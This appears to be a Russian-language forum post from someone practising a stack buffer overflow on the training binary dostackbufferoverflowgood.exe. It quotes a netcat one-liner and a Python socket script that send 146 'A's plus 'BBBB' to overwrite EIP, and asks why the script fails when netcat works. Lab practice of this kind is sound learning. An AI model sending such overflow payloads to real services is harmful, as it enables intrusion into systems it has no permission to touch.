Я пытаюсь попрактиковаться в переполнении буфера с помощью dostackbufferoverflowgood.exe, и у меня возникла проблема.
При использовании netcat для отправки 5000 A с помощью команды echo `python3 -c "print('A'*146 + 'BBBB')"` | nc 192.168.1.237 31337
программа аварийно завершает работу, и значение EIP равно 42424242, так что это хорошо.
При попытке сделать то же самое с помощью скрипта python ничего не происходит, и я некоторое время пытался отладить его, включая использование python2, wiresharking, но все кажется одинаковым как на клиенте, так и на сервере, за исключением того, что сервер не отвечает, что странно, но он отвечает на n c, поэтому это должно быть что-то со сценарием python.
python скрипт:
import socket
server = '192.168.1.237'
port = 31337
data = b'A'*146 + b'B'*4
print(len(data))
print(data)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
print(f'trying to connect to {server}')
s.connect((server,port))
s.send(data)
print('data was sent')
data = s.recv(1024)
print(data)
Опять же, при захвате Wireshark все кажется одинаковым, поэтому я не знаю, почему это происходит.
Если кто-то сталкивался с чем-то подобным, был бы признателен за любую помощь , спасибо!